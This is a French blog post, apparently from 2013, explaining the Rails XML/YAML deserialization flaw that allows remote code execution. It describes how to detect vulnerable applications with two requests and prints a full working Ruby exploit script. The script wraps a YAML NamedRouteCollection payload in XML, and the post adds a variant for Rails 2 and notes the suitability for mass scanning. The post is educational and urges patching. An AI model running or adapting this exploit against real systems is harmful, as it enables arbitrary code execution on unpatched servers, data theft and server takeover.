Exploitation du bug de parsing XML

Publié le 20 mars 2013 par Nicolas Cavigneaux

Cet article est publié sous licence CC BY-NC-SA

Récemment nous avons publié un article à propos de plusieurs failles de sécurité critiques découvertes dans Rails.

Afin de laisser le temps à chacun de mettre à jour ses applications, nous ne sommes pas aller trop loin dans les explications sur les failles en elle même ou leur utilisation.

Nous allons voir aujourd’hui comment il est possible d’exploiter l’une de ces failles en pratique. Nous commencerons par un petit rappel de la faille, suivi d’un exemple fonctionnel.

Rappel

Comme nous l’avions expliqué dans l’article précédent, l’une des failles majeure découverte permet d’exploiter le moteur de parsing des paramètres d’entrée afin de lui faire évaluer une entrée XML contenant elle même des données en YAML.

C’est une faille de type Remote Code Execution qui va donc vous permettre d’injecter du code arbitraire dans l’application distante et de le faire exécuter.

Le principe

Le traitement des paramètres utilisateurs (params) fonctionne de manière à caster automatiquement les valeurs de type String vers le type qui leur correspond le mieux.

Malheureusement ce traitement est bien trop permissif et permet à l’utilisateur de créer des types de données qui ne devraient pas l’être.

L’utilisateur mal-intentionné va donc pouvoir créer du contenu qui une fois parsé contiendra du YAML ce qui peut lui permettre de créer des classes ou d’exécuter du code.

En effet lors de la lecture du XML, les morceaux de YAML encodés seront interprétés et chargés en tant que tel par YAML::load qui n’effectue aucune vérification de sécurité. Il devient donc possible de créer des objets à la volée ce qui ouvre des portes sur l’application et le serveur.

N’importe qui pouvant envoyer une requête HTTP à votre application est en mesure de compromettre cette dernière. C’est donc une faille très facile à exploiter puisqu’il n’est pas nécessaire de connaître quoi que ce soit sur le fonctionnement interne de l’application. La seule information nécessaire à l’attaquant est l’adresse de l’application.

Inquiétant quand on sait qu’absolument toutes les applications Rails non-upgradée depuis sont vulnérables de facto.

Pour couronner le tout, il est très facile de détecter une application vulnérable à l’aide de deux requêtes HTTP vers l’application visée. Il suffit d’envoyer une requête valide au serveur (XML avec YAML imbriqué) pour savoir si notre requête est interprétée correctement puis une seconde avec du YAML invalide pour s’assurer que l’application n’est pas à jour.

Si la première requête retourne un code 200 et que la seconde vous renvoie une erreur 500 alors l’application interprète le YAML et elle est vulnérable. On s’est assuré de ne pas être sur une application à jour qui elle nous aurait répondu 200 en ignorant les YAML.

Les risques liés à une telle attaque sont vastes et particulièrement dangereux puisque l’attaquant va pouvoir injecter à l’exécution n’importe quel type de code Ruby et donc même du code shell. Il peut potentiellement tout faire sur votre serveur dans la limite des droits alloués à l’utilisateur qui fait tourner l’application (le serveur Unicorn par exemple). Il va être possible de récupérer des informations, de supprimer des fichiers, d’en créer et potentiellement de rooter le serveur.

En fonction de votre activité, du but de votre application et des données stockées sur votre serveur, l’impact commercial d’une telle attaque peut être catastrophique. Non seulement vos données peuvent être volées, vos pages de contenu modifiées mais votre serveur pourra aussi être utilisé comme ressource pour attaquer une autre cible par exemple.

Nous ne le répéterons donc jamais assez: ne prenez pas ces mises à jour de sécurité à la légère. Par ailleurs si ce n’est pas encore fait vous devez vous inscrire aux alertes de sécurité de Ruby on Rails.

Exploitation de la faille

L’idée sous-jacente à l’exploit

Avant toute chose, cette faille ne peut être exploitée qu’avec des versions de Rails inférieure à 3.2.11.

Comme vous le savez, Rails va parser les paramètres reçus de manière différente en fonction du Content-Type de la requête. Il n’est donc pas nécessaire que votre application traite spécifiquement une action en XML (via un respond_to ou autre) pour qu’elle soit vulnérable.

À vrai dire, toute application Rails non patchée est vulnérable dès lors qu’elle possède au moins une action, quoi qu’elle fasse.

Le parsing de contenu XML est géré par ActiveSupport::XmlMini. XmlMini a pour particularité de savoir désérialiser toutes sortes d’objets depuis le XML. On pourra donc générer des Integer, des Float, des Date mais aussi des Symbol ou encore, et c’est ce qui nous intéresse ici, des YAML embarqués.

Le code XML suivant est donc tout à fait valide et interprétable par le parser de Rails :

<foo type="yaml">
  yaml: ici du code yaml
  foo:
     - 1
     - 2
</foo>

La gestion du YAML au sein du XML permet de sérialiser / désérialiser facilement des objets, notamment ActiveRecord. Ce n’est évidemment pas limité à celà et vous pouvez donc désérialiser à la volée tout type d’objet. La seul limite est que la classe qui va être instanciée à la désérialisation doit déjà avoir été chargée avant de pouvoir être utilisée.

On va donc pouvoir se retrouver avec des classes, des méthodes ou encore des variables d’instance définies.

A l’instanciation de l’objet, sa méthode initialize va être appelée automatiquement. C’est pour l’attaquant, l’ouverture béhante qui va permettre d’exécuter tout ce qu’il veut, que ce soit des méthodes de sa classe désérialisé ou autre chose.

On sait également que certaines classes disponibles dans une application Rails évaluent le contenu de leurs variables d’instance (les sources des templates pour ERB par exemple) ce qui permet d’exécuter du code arbitraire tel que des commandes shell.

Nous avons donc maintenant plusieurs pistes pour compromettre une application non-patchée.

Il s’avère que cette faille de désérialisation de YAML est valable pour tout autre projet. Rails n’est que l’un des d’entre eux. Dès lors que vous utiliser YAML::load avec du contenu non-certifié en entrée (entrée utilisateur, feed de données, …), votre application est vulnérable.

Une explication par l’exemple

Le principe appliqué à Rails

Notre attaque va envoyer une requête POST à l’application contenant un XML qui va être interprété pour exécuter notre code malveillant.

Nous faisons donc en sorte de créer un objet qui aura toutes les chances d’être instancié à l’exécution d’une requête quelconque.

Nous créons pour cela un objet ActionDispatch::Routing::RouteSet::NamedRouteCollection. Cette classe a pour particularité d’aliaser la méthode #[]= sur la méthode #add. #add quant à elle fait appel à #define_named_route_methods puis #define_url_helper pour enfin faire appel à un #module_eval.

Définir une méthode à la volée avec le classique def foo serait intercepté et ignoré mais en Ruby il est possible d’utiliser __END__ pour définir du code Ruby à interpréter tel quel, du code inline.

Nous n’avons plus qu’à construire une route valide qui sera appelée par #define_url_helper.

Pour construire la route, quatre éléments sont requis: defaults, requirements, required_parts, et segment_keys. Ces méthodes sont en fait de simples attributs en lecture. Il est donc facile de les simuler et les implanter dans notre route fictive en utilisant un OpenStruct.

L’exploit

#!/usr/bin/env ruby

require 'net/http'
require 'cgi'
require 'yaml'

def encode_payload(payload)
  # Echappement du le payload
  data = "foo\n#{payload}\n__END__\n"

  # Convertion au format YAML
  # Suppression de l'entete superflue et du retour a la ligne
  data.to_yaml.sub('--- ','').chomp
end

def rce(url, payload)
  # Encodage du payload
  encoded_payload = encode_payload(payload)

  # Enrobage dans du Payload en YAML pour interpretation
  yaml = %{
--- !ruby/hash:ActionController::Routing::RouteSet::NamedRouteCollection
? #{encoded_payload}
: !ruby/struct
  defaults:
    :action: create
    :controller: foos
  required_parts: []
  requirements:
    :action: create
    :controller: foos
  segment_keys:
    - :format
  }.strip

  # Enrobage de notre YAML au format XML
  xml = %{
#{CGI::escapeHTML(yaml)}
  }.strip

  # Envoi du XML malicieux a l'application
  uri = URI.parse(url)
  http = Net::HTTP.new(uri.host, uri.port)

  puts "Envoi du XML: \n#{xml}\n\n"
  req = Net::HTTP::Post.new(uri.path, {'Content-Type' =>'text/xml', 'X-Http-Method-Override' => 'get'})
  req.body = xml

  return http.request(req)
end

# Notre cible
url = "http://localhost:3000/posts"

# Notre code a executer a distance, gentil ici.
payload = "puts RUBY_PLATFORM"

# L'heure de verite
response = rce(url, payload)

if response.code == '200'
  puts "Exploit OK"
else
  puts "Erreur #{response.code}"
end

Quelques explications techniques

On utilise ici un detournement des routes dynamiques. En effet si vous exécuter ce code, vous verrez qu’il s’exécute quatre fois. Une fois pour chaque helper de route défini (ex: posts_path, post_path, new_post_path, edit_post_path).

Nous fournissons donc une URL a attaquer ainsi qu’un morceau de code a exécuter. Dans notre exemple nous avons choisi d’afficher la plate-forme Ruby de l’application sur la sortie standard du serveur disponible à l’adresse “http://localhost:3000”. Libre à vous de changer ça ou encore d’ajouter la gestion de ces paramètres en ligne de commande.

Via la méthode encode_payload Nous commençons par échapper le payload avec l’astuce du mot-clé __END__ puis nous convertissons ce payload en YAML en prenant soin de supprimer les morceaux inutiles. En effet le #to_yaml nous crée un objet valide dans son contexte mais pas dans celui dans lequel nous souhaitons l’injecter.

Il est à noter que le payload dans l’exemple est destiné à des applications Rails 3. La modification pour une application Rails 2 est vraiment triviale, il suffit de remplacer :

data = "foo\n#{payload}\n__END__\n"

par :

data = "foo\nend\n#{payload}\n__END__\n"

Il faut donc ajouter un end necéssaire à la déserialisation dans les applications Rails 2.

Une fois le payload encodé, nous l’enrobons dans un objet NamedRouteCollection valide aux yeux de Rails et qui a son initialisation executera notre morceau de code.

Il ne nous reste plus qu’à créer notre version XML en spécifiant le type YAML pour que notre objet soit bien désérialisé.

Pour l’envoi nous prenons soin de préciser le bon content-type pour Rails l’interpréte bien comme du XML.

Nous rajoutons à cela un en-tête par aspect pratique, X-Http-Method-Override. En effet en passant X-Http-Method-Override avec une valeur à get on s’assure de pouvoir attaquer n’importe quelle URL de l’application sans avoir à chercher une action en POST. La porte ouverte au scan massif des sites vulnérables…

Pour finir, nous vérifions la réponse pour savoir si la requête a aboutie ou non. Si l’exploit a bien fonctionné, avec notre exemple, vous devriez voir apparaitre le type de plate-forme dans vos logs. Bien évidemment, du code bien plus mal intentionné est injectable. Vous avez, pour résumer, toute la latitude que vous auriez en étant dans une session IRB sur le serveur distant.

Conclusion

Nous avons vu comment exploiter en pratique une faille récente de Rails. Cela démontre qu’il faut toujours être vigilant et suivre les annonces de sécurité. En effet, une application non patchée est exposée à de très gros risques pouvant aller jusqu’à donner la main sur le serveur.

Pour ceux qui voudraient tester l’exploit, voici le gist d’exemple.

J’insiste encore une fois sur l’importance de la sécurité dans notre métier. Tomber sous les coups d’une telle attaque pourrait être dramatique pour vos clients et aussi pour votre image. Alors, n’attendez plus et mettez vos application à jour !

J’espère en tout cas que cet article aura éveillé votre intérêt et qu’il vous aura éclairé sur l’exploitation cette faille qui a tant fait parlé d’elle.

L’équipe Synbioz.

Libres d’être ensemble.